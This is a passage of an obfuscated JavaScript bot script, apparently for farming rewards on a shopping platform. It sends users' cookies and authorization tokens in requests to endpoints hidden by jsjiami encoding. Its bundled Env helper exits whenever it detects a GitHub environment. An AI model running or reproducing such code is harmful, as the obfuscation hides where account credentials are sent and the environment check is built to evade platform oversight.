_0x2e82b1[_0x5be7('fc','#8qh')](takeGet,_0x5be7('fd','li0j')+_0x260989['id']);continue;case'4':console[_0x5be7('e4','J&]v')](_0x5be7('fe','li0j')+_0x260989[_0x5be7('ff','n6g8')]);continue;}break;}}}}function takePost(_0x36ef78,_0x7e69ce){var _0x8fb215={'Dlcom':function(_0x4251fe){return _0x4251fe();},'szqCH':function(_0x3182e7,_0x412e3b){return _0x3182e7===_0x412e3b;},'xeAeY':_0x5be7('100','8wg$'),'xSrEP':function(_0x20185e,_0x58223c){return _0x20185e===_0x58223c;},'vwpiw':_0x5be7('101','O]R%'),'yseDU':_0x5be7('102','M%fm'),'ZsEnw':_0x5be7('103','8oZ9'),'vPGGJ':_0x5be7('104','8wg$'),'HzlOv':function(_0x70c2b6,_0x370a2c){return _0x70c2b6!==_0x370a2c;},'PzqMI':_0x5be7('105','Ni]R'),'hbvoV':_0x5be7('106','ty@p'),'yAhla':_0x5be7('107','li0j'),'jbHsZ':_0x5be7('108','fWT]'),'RBKVj':_0x5be7('109','fy^x'),'ddIYi':function(_0x4770b6,_0x1866c4){return _0x4770b6(_0x1866c4);},'UxfEh':function(_0x11b80a,_0x3ec0d5){return _0x11b80a||_0x3ec0d5;},'SPMcM':_0x5be7('10a','L1Il'),'MCkdB':_0x5be7('10b','#8qh'),'cxZBC':_0x5be7('10c','8wg$'),'rVbUe':_0x5be7('10d','8$QU'),'rEPrZ':function(_0x3db148,_0x4206b6){return _0x3db148(_0x4206b6);},'HLYTh':_0x5be7('10e','L1Il'),'TqYTY':_0x5be7('10f','wOgB'),'DhTCi':_0x5be7('110','M8)x'),'pxLAK':_0x5be7('111','8oZ9'),'iAIMX':_0x5be7('112','3OH3'),'cYijH':_0x5be7('113','n6g8'),'Auyrw':_0x5be7('114','zAZA')};let _0x505392={'url':_0x5be7('115','&XVB')+_0x36ef78,'body':_0x7e69ce,'headers':{'Host':_0x8fb215[_0x5be7('116','aIzq')],'Connection':_0x8fb215[_0x5be7('117','zAZA')],'Accept':_0x8fb215[_0x5be7('118','jAD8')],'Origin':_0x8fb215[_0x5be7('119','8oZ9')],'Authorization':_0x5be7('11a','%U!$')+$[_0x5be7('11b','%U!$')],'Source':'02','User-Agent':$[_0x5be7('11c','eF07')]()?process[_0x5be7('11d','&%Nr')][_0x5be7('11e','aIzq')]?process[_0x5be7('11f','aPzP')][_0x5be7('120','L1Il')]:_0x8fb215[_0x5be7('121','8$QU')](require,_0x8fb215[_0x5be7('122','VBK7')])[_0x5be7('123','VBK7')]:$[_0x5be7('124','OjQf')](_0x8fb215[_0x5be7('125','8$QU')])?$[_0x5be7('126','VBK7')](_0x8fb215[_0x5be7('127','L1Il')]):_0x8fb215[_0x5be7('128','XR91')],'Content-Type':_0x8fb215[_0x5be7('129','8wg$')],'Referer':_0x8fb215[_0x5be7('12a','DUTz')],'Accept-Encoding':_0x8fb215[_0x5be7('12b','wOgB')],'Accept-Language':_0x8fb215[_0x5be7('12c','VBK7')],'Cookie':_0x5be7('12d','L1Il')+$[_0x5be7('12e','t2fC')]+_0x5be7('12f','O]R%')+$[_0x5be7('130','J&]v')]}};return new Promise(_0x5c9ee0=>{var _0x15998e={'aYnTY':function(_0x4582eb){return _0x8fb215[_0x5be7('131','8$QU')](_0x4582eb);},'FPWoS':function(_0x1ba8cc,_0x1f7f05){return _0x8fb215[_0x5be7('132','mR85')](_0x1ba8cc,_0x1f7f05);},'kdVgT':_0x8fb215[_0x5be7('133','fy^x')],'zRYuh':function(_0x1a3afd,_0x360066){return _0x8fb215[_0x5be7('134','aIzq')](_0x1a3afd,_0x360066);},'fioCn':_0x8fb215[_0x5be7('135','#8qh')],'ysQyY':_0x8fb215[_0x5be7('136','eF07')],'JVMMF':_0x8fb215[_0x5be7('137','8wg$')],'PEpAc':_0x8fb215[_0x5be7('138','aIzq')],'sFgfA':function(_0x587b07,_0x458c9b){return _0x8fb215[_0x5be7('139','li0j')](_0x587b07,_0x458c9b);},'EQuWY':_0x8fb215[_0x5be7('13a','fWT]')],'KmvOi':_0x8fb215[_0x5be7('13b','ty@p')],'dZAqb':_0x8fb215[_0x5be7('13c','8oZ9')],'jHIqI':_0x8fb215[_0x5be7('13d','gQCw')],'skkLA':_0x8fb215[_0x5be7('13e','J&]v')],'yudtT':function(_0x1894c9,_0x3a213f){return _0x8fb215[_0x5be7('13f','M8)x')](_0x1894c9,_0x3a213f);},'rCFBE':function(_0x1408d8,_0x293d6f){return _0x8fb215[_0x5be7('140','RVdq')](_0x1408d8,_0x293d6f);}};$[_0x5be7('141','#8qh')](_0x505392,async(_0x59c5e4,_0x328bd5,_0xe2602f)=>{var _0x4882b7={'oeWut':function(_0x6ada1f,_0x571247){return _0x15998e[_0x5be7('142','aPzP')](_0x6ada1f,_0x571247);},'eySRL':_0x15998e[_0x5be7('143','O]R%')]};if(_0x15998e[_0x5be7('144','ju4k')](_0x15998e[_0x5be7('145','li0j')],_0x15998e[_0x5be7('146','fH$i')])){if(_0xe2602f){_0xe2602f=JSON[_0x5be7('147','fy^x')](_0xe2602f);if(_0x4882b7[_0x5be7('148','A!UD')](_0xe2602f[_0x4882b7[_0x5be7('149','n6g8')]],0xd)){$[_0x5be7('14a','DUTz')]=![];return;}}else{console[_0x5be7('14b','Ni]R')](_0x5be7('14c','A!UD'));}}else{try{if(_0x15998e[_0x5be7('14d','fWT]')](_0x15998e[_0x5be7('14e','VBK7')],_0x15998e[_0x5be7('14f','&%Nr')])){console[_0x5be7('150','t2fC')](_0x5be7('151','qjBe'));}else{if(_0x59c5e4){if(_0x15998e[_0x5be7('152','M8)x')](_0x15998e[_0x5be7('153','fH$i')],_0x15998e[_0x5be7('154','J&]v')])){_0x15998e[_0x5be7('155','Ni]R')](_0x5c9ee0);}else{console[_0x5be7('bb','jAD8')](''+JSON[_0x5be7('156','J&]v')](_0x59c5e4));console[_0x5be7('157','LFKZ')]($[_0x5be7('ff','n6g8')]+_0x5be7('158','8oZ9'));}}else{if(_0xe2602f){if(_0x15998e[_0x5be7('159','eF07')](_0x15998e[_0x5be7('15a','idsI')],_0x15998e[_0x5be7('15b','0L)B')])){$[_0x5be7('15c','OjQf')](e,_0x328bd5);}else{_0xe2602f=JSON[_0x5be7('15d','fWT]')](_0xe2602f);}}}}}catch(_0x47a47d){if(_0x15998e[_0x5be7('15e','aPzP')](_0x15998e[_0x5be7('15f','Ji&y')],_0x15998e[_0x5be7('160','RVdq')])){$[_0x5be7('161','nAtY')](_0x47a47d,_0x328bd5);}else{console[_0x5be7('162','eF07')](''+JSON[_0x5be7('163','gQCw')](_0x59c5e4));console[_0x5be7('bb','jAD8')]($[_0x5be7('164','dBLp')]+_0x5be7('165','L1Il'));}}finally{_0x15998e[_0x5be7('166','n6g8')](_0x5c9ee0,_0x15998e[_0x5be7('167','Ni]R')](_0xe2602f,{}));}}});});}function takeGet(_0x1f53af){var _0x3bf2cb={'SBpvA':function(_0x1a4a10,_0x5c9f49){return _0x1a4a10===_0x5c9f49;},'LxFHS':_0x5be7('168','n6g8'),'BdXfl':function(_0x354eb7,_0x416a71){return _0x354eb7(_0x416a71);},'rxZKC':function(_0x2ea7a3,_0x35b2bb){return _0x2ea7a3||_0x35b2bb;},'LDdPH':_0x5be7('169','jAD8'),'UddAE':_0x5be7('16a','DUTz'),'gXLqU':_0x5be7('16b','n%th'),'UCNfg':function(_0xd521b0,_0x551e92){return _0xd521b0(_0x551e92);},'oXyoC':_0x5be7('16c','d!@r'),'iqDJE':_0x5be7('16d','dBLp'),'FbMTs':_0x5be7('16e','fH$i'),'mzOCN':_0x5be7('16f','L1Il'),'xMKbA':_0x5be7('170','&%Nr'),'oyNtn':_0x5be7('171','L1Il')};let _0x41e9c0={'url':_0x5be7('172','O]R%')+_0x1f53af,'headers':{'Host':_0x3bf2cb[_0x5be7('173','L1Il')],'Connection':_0x3bf2cb[_0x5be7('174','*Wzt')],'Accept':_0x3bf2cb[_0x5be7('175','8wg$')],'Authorization':_0x5be7('176','LFKZ')+$[_0x5be7('177','gQCw')],'Source':'02','User-Agent':$[_0x5be7('178','VBK7')]()?process[_0x5be7('179','mR85')][_0x5be7('17a','&XVB')]?process[_0x5be7('17b','gQCw')][_0x5be7('17c','dBLp')]:_0x3bf2cb[_0x5be7('17d','3OH3')](require,_0x3bf2cb[_0x5be7('17e','fH$i')])[_0x5be7('17f','XR91')]:$[_0x5be7('180','A!UD')](_0x3bf2cb[_0x5be7('181','jAD8')])?$[_0x5be7('182','aPzP')](_0x3bf2cb[_0x5be7('183','M8)x')]):_0x3bf2cb[_0x5be7('184','ju4k')],'Referer':_0x3bf2cb[_0x5be7('185','&XVB')],'Accept-Encoding':_0x3bf2cb[_0x5be7('186','idsI')],'Accept-Language':_0x3bf2cb[_0x5be7('187','OjQf')],'Cookie':_0x5be7('188','ju4k')+$[_0x5be7('189','YeTi')]+_0x5be7('18a','BaR@')+$[_0x5be7('18b','O]R%')]}};return new Promise(_0x4cb945=>{var _0x42bf15={'Deoyf':function(_0x365abc,_0x2f31b1){return _0x3bf2cb[_0x5be7('18c','DUTz')](_0x365abc,_0x2f31b1);},'amxxp':_0x3bf2cb[_0x5be7('18d','nAtY')],'CwVBX':function(_0x11e60a,_0x50a138){return _0x3bf2cb[_0x5be7('18e','A!UD')](_0x11e60a,_0x50a138);},'Ieglk':function(_0x11ca58,_0x3733f7){return _0x3bf2cb[_0x5be7('18f','RVdq')](_0x11ca58,_0x3733f7);}};$[_0x5be7('190','pT9@')](_0x41e9c0,async(_0x41a65b,_0x5d2587,_0x352aaa)=>{try{if(_0x41a65b){if(_0x42bf15[_0x5be7('191','Ji&y')](_0x42bf15[_0x5be7('192','fWT]')],_0x42bf15[_0x5be7('193','OjQf')])){console[_0x5be7('194','li0j')](''+JSON[_0x5be7('195','fH$i')](_0x41a65b));console[_0x5be7('dd','8wg$')]($[_0x5be7('196','J&]v')]+_0x5be7('197','dBLp'));}else{console[_0x5be7('198','ty@p')](_0x5be7('199','%U!$'));return;}}else{if(_0x352aaa){_0x352aaa=JSON[_0x5be7('19a','jAD8')](_0x352aaa);}}}catch(_0x1543b5){$[_0x5be7('19b','fH$i')](_0x1543b5,_0x5d2587);}finally{_0x42bf15[_0x5be7('19c','wOgB')](_0x4cb945,_0x42bf15[_0x5be7('19d','8$QU')](_0x352aaa,{}));}});});}function getBeautyToken(_0x3d0cdf,_0x5055af){var _0x23c1a2={'rmJQD':function(_0xc26ad0,_0x1a331c){return _0xc26ad0===_0x1a331c;},'aoJOF':_0x5be7('19e','3OH3'),'KaUxM':_0x5be7('19f','aIzq'),'oQzPS':_0x5be7('1a0','M%fm'),'LHrBo':function(_0x2421dc,_0x279829){return _0x2421dc(_0x279829);},'OLDwg':_0x5be7('1a1','8wg$'),'YarAe':_0x5be7('1a2','ju4k'),'lAWWL':_0x5be7('1a3','dBLp'),'KOeKa':_0x5be7('1a4','*Wzt'),'yGLJm':_0x5be7('1a5','d!@r'),'bqjis':_0x5be7('1a6','RVdq'),'dyxbv':_0x5be7('1a7','mR85'),'FoElJ':_0x5be7('1a8','8wg$'),'TNMmY':_0x5be7('1a9','M8)x'),'BfPfb':_0x5be7('1aa','Ji&y'),'WZiTU':_0x5be7('1ab','LFKZ'),'smmgw':_0x5be7('1ac','M8)x')};let _0x450d3f={'url':_0x5be7('1ad','mR85')+_0x3d0cdf,'body':_0x5055af,'headers':{'Host':_0x23c1a2[_0x5be7('1ae','n6g8')],'Accept':_0x23c1a2[_0x5be7('1af','fy^x')],'Authorization':_0x23c1a2[_0x5be7('1b0','#8qh')],'Accept-Language':_0x23c1a2[_0x5be7('1b1','qjBe')],'Accept-Encoding':_0x23c1a2[_0x5be7('1b2','&XVB')],'Content-Type':_0x23c1a2[_0x5be7('1b3','Ni]R')],'Origin':_0x23c1a2[_0x5be7('1b4','gQCw')],'User-Agent':$[_0x5be7('1b5','fH$i')]()?process[_0x5be7('1b6','RVdq')][_0x5be7('1b7','eF07')]?process[_0x5be7('1b8','ty@p')][_0x5be7('1b9','8wg$')]:_0x23c1a2[_0x5be7('1ba','OjQf')](require,_0x23c1a2[_0x5be7('1bb','aIzq')])[_0x5be7('1bc','fWT]')]:$[_0x5be7('1bd','nAtY')](_0x23c1a2[_0x5be7('1be','aPzP')])?$[_0x5be7('1bf','idsI')](_0x23c1a2[_0x5be7('1c0','qjBe')]):_0x23c1a2[_0x5be7('1c1','dBLp')],'Connection':_0x23c1a2[_0x5be7('1c2','YeTi')],'Source':'02','Referer':_0x23c1a2[_0x5be7('1c3','Ji&y')],'Cookie':_0x5be7('1c4','*Wzt')+$[_0x5be7('1c5','O]R%')]+';'}};return new Promise(_0x5d010c=>{var _0x128540={'WshPF':function(_0x529100,_0x4454af){return _0x23c1a2[_0x5be7('1c6','8oZ9')](_0x529100,_0x4454af);},'dYLWT':_0x23c1a2[_0x5be7('1c7','A!UD')],'DTsUj':function(_0x4d6a3b,_0x3e8e24){return _0x23c1a2[_0x5be7('1c8','OjQf')](_0x4d6a3b,_0x3e8e24);},'KEDKv':_0x23c1a2[_0x5be7('1c9','0L)B')],'zpXqS':_0x23c1a2[_0x5be7('1ca','&%Nr')],'TBSVA':function(_0x8b993a,_0xad1edb){return _0x23c1a2[_0x5be7('1cb','ju4k')](_0x8b993a,_0xad1edb);}};$[_0x5be7('141','#8qh')](_0x450d3f,async(_0x5d9d67,_0xe0ddaf,_0x39a824)=>{if(_0x128540[_0x5be7('1cc','ju4k')](_0x128540[_0x5be7('1cd','li0j')],_0x128540[_0x5be7('1ce','8oZ9')])){try{if(_0x5d9d67){if(_0x128540[_0x5be7('1cf','YeTi')](_0x128540[_0x5be7('1d0','YeTi')],_0x128540[_0x5be7('1d1','dBLp')])){$[_0x5be7('1d2','&%Nr')](e,_0xe0ddaf);}else{console[_0x5be7('e4','J&]v')](''+JSON[_0x5be7('1d3','XR91')](_0x5d9d67));console[_0x5be7('1d4','#7te')]($[_0x5be7('1d5','Ji&y')]+_0x5be7('1d6','J&]v'));}}else{_0x39a824=JSON[_0x5be7('1d7','A!UD')](_0x39a824);}}catch(_0x9e28d8){$[_0x5be7('1d8','8wg$')](_0x9e28d8,_0xe0ddaf);}finally{_0x128540[_0x5be7('1d9','fWT]')](_0x5d010c,_0x39a824[_0x5be7('1da','ty@p')]||'');}}else{_0x39a824=JSON[_0x5be7('1db','#7te')](_0x39a824);}});});}function getToken(_0x419159,_0x135396){var _0x2d14b8={'WxPNb':function(_0x4ed713,_0x3a2811){return _0x4ed713===_0x3a2811;},'HOFHR':_0x5be7('1dc','M%fm'),'iUTEd':_0x5be7('1dd','M%fm'),'pbXTb':function(_0xb68c0e,_0x16a2da){return _0xb68c0e(_0x16a2da);},'YNitG':_0x5be7('1de','ju4k'),'NoTmD':_0x5be7('1df','eF07'),'aKiOe':_0x5be7('1e0','n%th'),'aSepa':_0x5be7('1e1','RVdq'),'igqwI':_0x5be7('1e2','li0j'),'AMcAO':_0x5be7('1e3','ju4k')};let _0x384998={'url':_0x419159,'body':_0x135396,'headers':{'Host':_0x2d14b8[_0x5be7('1e4','&XVB')],'accept':_0x2d14b8[_0x5be7('1e5','fy^x')],'user-agent':_0x2d14b8[_0x5be7('1e6','fWT]')],'accept-language':_0x2d14b8[_0x5be7('1e7','qjBe')],'content-type':_0x2d14b8[_0x5be7('1e8','t2fC')],'Cookie':cookie}};return new Promise(_0x451a7c=>{var _0x54d33f={'HquGv':function(_0x20fbef,_0x4d3c8f){return _0x2d14b8[_0x5be7('1e9','idsI')](_0x20fbef,_0x4d3c8f);},'PdIfK':_0x2d14b8[_0x5be7('1ea','%U!$')],'xsIQC':_0x2d14b8[_0x5be7('1eb','li0j')],'IapYS':function(_0x2912ff,_0x30c239){return _0x2d14b8[_0x5be7('1ec','M8)x')](_0x2912ff,_0x30c239);},'DUitZ':_0x2d14b8[_0x5be7('1ed','L1Il')]};$[_0x5be7('1ee','DUTz')](_0x384998,async(_0x3f8493,_0x4d90e4,_0x2eea2c)=>{try{if(_0x54d33f[_0x5be7('1ef','zAZA')](_0x54d33f[_0x5be7('1f0','Ni]R')],_0x54d33f[_0x5be7('1f1','LFKZ')])){$[_0x5be7('1f2','pT9@')]('','❌\x20'+$[_0x5be7('1f3','YeTi')]+_0x5be7('1f4','3OH3')+e+'!','');}else{if(_0x3f8493){console[_0x5be7('1f5','zAZA')](''+JSON[_0x5be7('1f6','&%Nr')](_0x3f8493));console[_0x5be7('1f7','M%fm')]($[_0x5be7('1f8','*Wzt')]+_0x5be7('1f9','0L)B'));}else{_0x2eea2c=JSON[_0x5be7('1fa','mR85')](_0x2eea2c);}}}catch(_0x3c98e5){$[_0x5be7('1fb','8oZ9')](_0x3c98e5,_0x4d90e4);}finally{_0x54d33f[_0x5be7('1fc','L1Il')](_0x451a7c,_0x2eea2c[_0x54d33f[_0x5be7('1fd','XR91')]]||'');}});});}function TotalBean(){var _0xf6fa20={'FCqiE':function(_0x10c243,_0x22f096){return _0x10c243(_0x22f096);},'zTpru':_0x5be7('1fe','li0j'),'KxxvY':function(_0x392dd3,_0x12b35d){return _0x392dd3!==_0x12b35d;},'MbcAL':_0x5be7('1ff','fH$i'),'zZSUu':function(_0x35395d,_0x392ad5){return _0x35395d===_0x392ad5;},'ezQby':_0x5be7('200','aPzP'),'CWoJe':_0x5be7('201','wOgB'),'fofef':_0x5be7('202','d!@r'),'lPDPU':_0x5be7('203','OjQf'),'wBtEE':_0x5be7('204','VBK7'),'UtAUB':_0x5be7('205','DUTz'),'qCvfs':_0x5be7('206','ju4k'),'uBrAK':function(_0x2b15a3){return _0x2b15a3();},'cvGwf':_0x5be7('207','nAtY'),'VzDUf':_0x5be7('208','8$QU'),'diyyv':_0x5be7('209','8$QU'),'UVnYV':_0x5be7('1a4','*Wzt'),'wczMB':_0x5be7('20a','8oZ9'),'ZqPip':_0x5be7('20b','L1Il'),'dmxZx':_0x5be7('20c','0L)B'),'VePAv':_0x5be7('20d','%U!$'),'mfeCm':_0x5be7('20e','li0j')};return new Promise(async _0x45853d=>{var _0x448553={'vwiaE':function(_0x541c72,_0x30124b){return _0xf6fa20[_0x5be7('20f','fWT]')](_0x541c72,_0x30124b);},'PGwWF':_0xf6fa20[_0x5be7('210','ty@p')],'GaFOD':function(_0x119858,_0x4c5353){return _0xf6fa20[_0x5be7('211','qjBe')](_0x119858,_0x4c5353);},'ZojMO':_0xf6fa20[_0x5be7('212','BaR@')],'ExsFr':function(_0x3b4741,_0x28cde3){return _0xf6fa20[_0x5be7('213','wOgB')](_0x3b4741,_0x28cde3);},'FyZzT':_0xf6fa20[_0x5be7('214','dBLp')],'GsSDO':_0xf6fa20[_0x5be7('215','mR85')],'WiZCM':_0xf6fa20[_0x5be7('216','A!UD')],'eEONy':function(_0x4fd94a,_0x4e526d){return _0xf6fa20[_0x5be7('217','zAZA')](_0x4fd94a,_0x4e526d);},'ydGST':_0xf6fa20[_0x5be7('218','L1Il')],'WIAHN':_0xf6fa20[_0x5be7('219','Ni]R')],'DdPCK':_0xf6fa20[_0x5be7('21a','fWT]')],'NMups':function(_0xf4c3a3,_0x4dc214){return _0xf6fa20[_0x5be7('21b','8wg$')](_0xf4c3a3,_0x4dc214);},'yvZyH':_0xf6fa20[_0x5be7('21c','0L)B')],'dvkoo':function(_0x3c0beb){return _0xf6fa20[_0x5be7('21d','&%Nr')](_0x3c0beb);}};const _0x59366c={'url':_0x5be7('21e','&%Nr'),'headers':{'Accept':_0xf6fa20[_0x5be7('21f','LFKZ')],'Content-Type':_0xf6fa20[_0x5be7('220','nAtY')],'Accept-Encoding':_0xf6fa20[_0x5be7('221','RVdq')],'Accept-Language':_0xf6fa20[_0x5be7('222','*Wzt')],'Connection':_0xf6fa20[_0x5be7('223','gQCw')],'Cookie':cookie,'Referer':_0xf6fa20[_0x5be7('224','#7te')],'User-Agent':$[_0x5be7('225','fWT]')]()?process[_0x5be7('226','&XVB')][_0x5be7('227','YeTi')]?process[_0x5be7('228','O]R%')][_0x5be7('229','zAZA')]:_0xf6fa20[_0x5be7('22a','LFKZ')](require,_0xf6fa20[_0x5be7('22b','eF07')])[_0x5be7('22c','eF07')]:$[_0x5be7('22d','*Wzt')](_0xf6fa20[_0x5be7('22e','#7te')])?$[_0x5be7('22f','fWT]')](_0xf6fa20[_0x5be7('230','3OH3')]):_0xf6fa20[_0x5be7('231','&XVB')]}};$[_0x5be7('232','ty@p')](_0x59366c,(_0x2c3209,_0x1f16f8,_0x5bff00)=>{var _0x51ad9f={'hXsGP':function(_0x180584,_0xbfdc94){return _0x448553[_0x5be7('233','eF07')](_0x180584,_0xbfdc94);},'qQVKN':_0x448553[_0x5be7('234','idsI')]};if(_0x448553[_0x5be7('235','aIzq')](_0x448553[_0x5be7('236','t2fC')],_0x448553[_0x5be7('237','fH$i')])){console[_0x5be7('7e','n%th')](''+JSON[_0x5be7('238','VBK7')](_0x2c3209));console[_0x5be7('e4','J&]v')]($[_0x5be7('239','LFKZ')]+_0x5be7('1f9','0L)B'));}else{try{if(_0x2c3209){console[_0x5be7('23a','O]R%')](''+JSON[_0x5be7('23b','Ji&y')](_0x2c3209));console[_0x5be7('23c','fy^x')]($[_0x5be7('23d','M%fm')]+_0x5be7('197','dBLp'));}else{if(_0x448553[_0x5be7('23e','RVdq')](_0x448553[_0x5be7('23f','mR85')],_0x448553[_0x5be7('240','ty@p')])){console[_0x5be7('9c','XR91')](_0x5be7('241','d!@r'));return;}else{if(_0x5bff00){_0x5bff00=JSON[_0x5be7('242','OjQf')](_0x5bff00);if(_0x448553[_0x5be7('243','DUTz')](_0x5bff00[_0x448553[_0x5be7('244','OjQf')]],0xd)){if(_0x448553[_0x5be7('245','XR91')](_0x448553[_0x5be7('246','XR91')],_0x448553[_0x5be7('247','*Wzt')])){_0x5bff00=JSON[_0x5be7('1fa','mR85')](_0x5bff00);}else{$[_0x5be7('248','gQCw')]=![];return;}}}else{console[_0x5be7('249','aIzq')](_0x5be7('24a','dBLp'));}}}}catch(_0x389776){if(_0x448553[_0x5be7('24b','8oZ9')](_0x448553[_0x5be7('24c','M8)x')],_0x448553[_0x5be7('24d','t2fC')])){$[_0x5be7('24e','fy^x')](_0x389776,_0x1f16f8);}else{_0x51ad9f[_0x5be7('24f','A!UD')](_0x45853d,_0x5bff00[_0x51ad9f[_0x5be7('250','A!UD')]]||'');}}finally{if(_0x448553[_0x5be7('251','L1Il')](_0x448553[_0x5be7('252','n6g8')],_0x448553[_0x5be7('253','OjQf')])){$[_0x5be7('254','8$QU')](e,_0x1f16f8);}else{_0x448553[_0x5be7('255','eF07')](_0x45853d);}}}});});};_0xodl='jsjiami.com.v6'; -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return 